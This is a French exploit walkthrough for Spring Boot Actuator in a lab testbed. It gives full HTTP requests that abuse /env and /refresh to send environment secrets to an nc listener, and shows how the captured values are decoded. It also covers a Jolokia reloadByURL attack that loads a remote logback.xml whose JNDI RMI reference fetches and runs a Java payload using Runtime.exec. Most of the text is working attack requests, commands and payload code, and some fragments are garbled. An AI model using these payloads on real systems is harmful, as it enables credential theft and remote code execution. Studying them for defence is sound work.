
# SpringBoot_Actuator_RCE
/swagger-ui.html
Lorsque nous accédons directement au site SpringBoot, nous pouvons voir que certains champs password sont remplis de *.
${name}, il est possible de récupérer les champs en clair.password est masqué par des astérisques, mais pas pwd).

Référence : https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA
Processus de mise en œuvre :
Par exemple : nous voulons récupérer la valeur du paramètre pid.
"PID": "10648",
POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/
Envoyez ensuite une requête POST avec un contenu quelconque vers /refresh pour déclencher la vulnérabilité.
Ps : En général, il faut attendre environ 3 secondes pour recevoir un paquet de réponse. Si la réponse est immédiate, le service manque probablement de l'extension spring-boot-starter-actuator et ne peut pas se rafraîchir, la vulnérabilité n'est donc pas exploitable.
POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
12312
Lorsque le serveur écoute sur le port 2444 avec nc, on reçoit :
root@kali:/tmp# nc -lvvp 2444
listening on [any] 2444 ...
connect to [10.20.24.191] from kali [10.20.24.191] 40960
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2444
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic MzgzNDY6bnVsbA==
Authorization: Basic MzgzNDY6bnVsbA==
Le décodage base64 donne :
root@kali:/tmp# echo MzgzNDY6bnVsbA== |base64 -d
38346:null
Identique à l'information pid ci-dessus.
De même, pour récupérer le paramètre user.country, les étapes sont identiques.
Résultat :
root@kali:/tmp# nc -lvvp 2555
listening on [any] 2555 ...
connect to [10.20.24.191] from kali [10.20.24.191] 38994
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2555
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic VVM6bnVsbA==
sent 0, rcvd 310
Le décodage base64 donne :
root@kali:/tmp# echo VVM6bnVsbA== |base64 -d
US:null
Saisissez le paramètre à interroger et le port d'écoute de nc.

Écoutez sur le port, récupérez l'en-tête spécifié et décodez automatiquement en base64.

Ps : Si vous avez la chance que la cible dispose d'Eureka-Client <1.8.7 dans son classpath (généralement inclus dans Spring Cloud Netflix), vous pouvez exploiter la vulnérabilité de désérialisation XStream qu'il contient.
Par exemple : User-Agent: Java-EurekaClient/v1.4.11
git clone https://github.com/veracode-research/actuator-testbed
Démarrage :
mvn install
或
mvn spring-boot:run
Après compilation et exécution, on constate que l'adresse IP d'écoute est 127.0.0.1, accessible uniquement depuis la machine locale.
Après une recherche sur Baidu, il suffit de la remplacer par 0.0.0.0.
Recherche des fichiers clés :
grep -r 'server.address' -n ./
./src/main/resources/application.properties:2:server.address=127.0.0.1
./target/classes/application.properties:2:server.address=127.0.0.1
Remplacer par :
server.port=8090
server.address=0.0.0.0
# vulnerable configuration set 0: spring boot 1.0 - 1.4
# all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
# no configuration required to expose them
# safe configuration set 0: spring boot 1.0 - 1.4
#management.security.enabled=true
# vulnerable configuration set 1: spring boot 1.5+
# spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
#management.security.enabled=false
# safe configuration set 1: spring boot 1.5+
# when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
#management.security.enabled=false
# vulnerable configuration set 2: spring boot 2+
#management.endpoints.web.exposure.include=*
mvn spring-boot:run
ou
/opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.conf=/opt/apache-maven-3.6.2/bin/m2.conf -Dmaven.home=/opt/apache-maven-3.6.2 -Dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.Launcher spring-boot:run
Patientez quelques instants :
root@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090
tcp6 0 0 :::8090 :::* LISTEN 33666/java
root@kali:~/actuator/actuator-testbed#
http://10.20.24.191:8090/jolokia/list

Parmi celles-ci, reloadByURL permet de charger un fichier XML depuis une URL distante.
"ch.qos.logback.classic": {
"Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator": {
"op": {
"reloadByURL": {
"args": [
{
"name": "p1",
"type": "java.net.URL",
"desc": ""
}
],
"ret": "void",
"desc": "Operation exposed for management"
}
Contenu du fichier logback.xml :

<configuration>
<insertFromJNDI env-entry-name="rmi://10.20.24.191:1099/Exploit" as="appName" />
</configuration>
ExportObject.java
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class ExportObject {
public ExportObject() throws Exception {
Process var1 = Runtime.getRuntime().exec("touch /tmp/jas502n");
InputStream var2 = var1.getInputStream();
BufferedReader var3 = new BufferedReader(new InputStreamReader(var2));
String var4;
while((var4 = var3.readLine()) != null) {
System.out.println(var4);
}
var1.waitFor();
var2.close();
var3.close();
var1.destroy();
}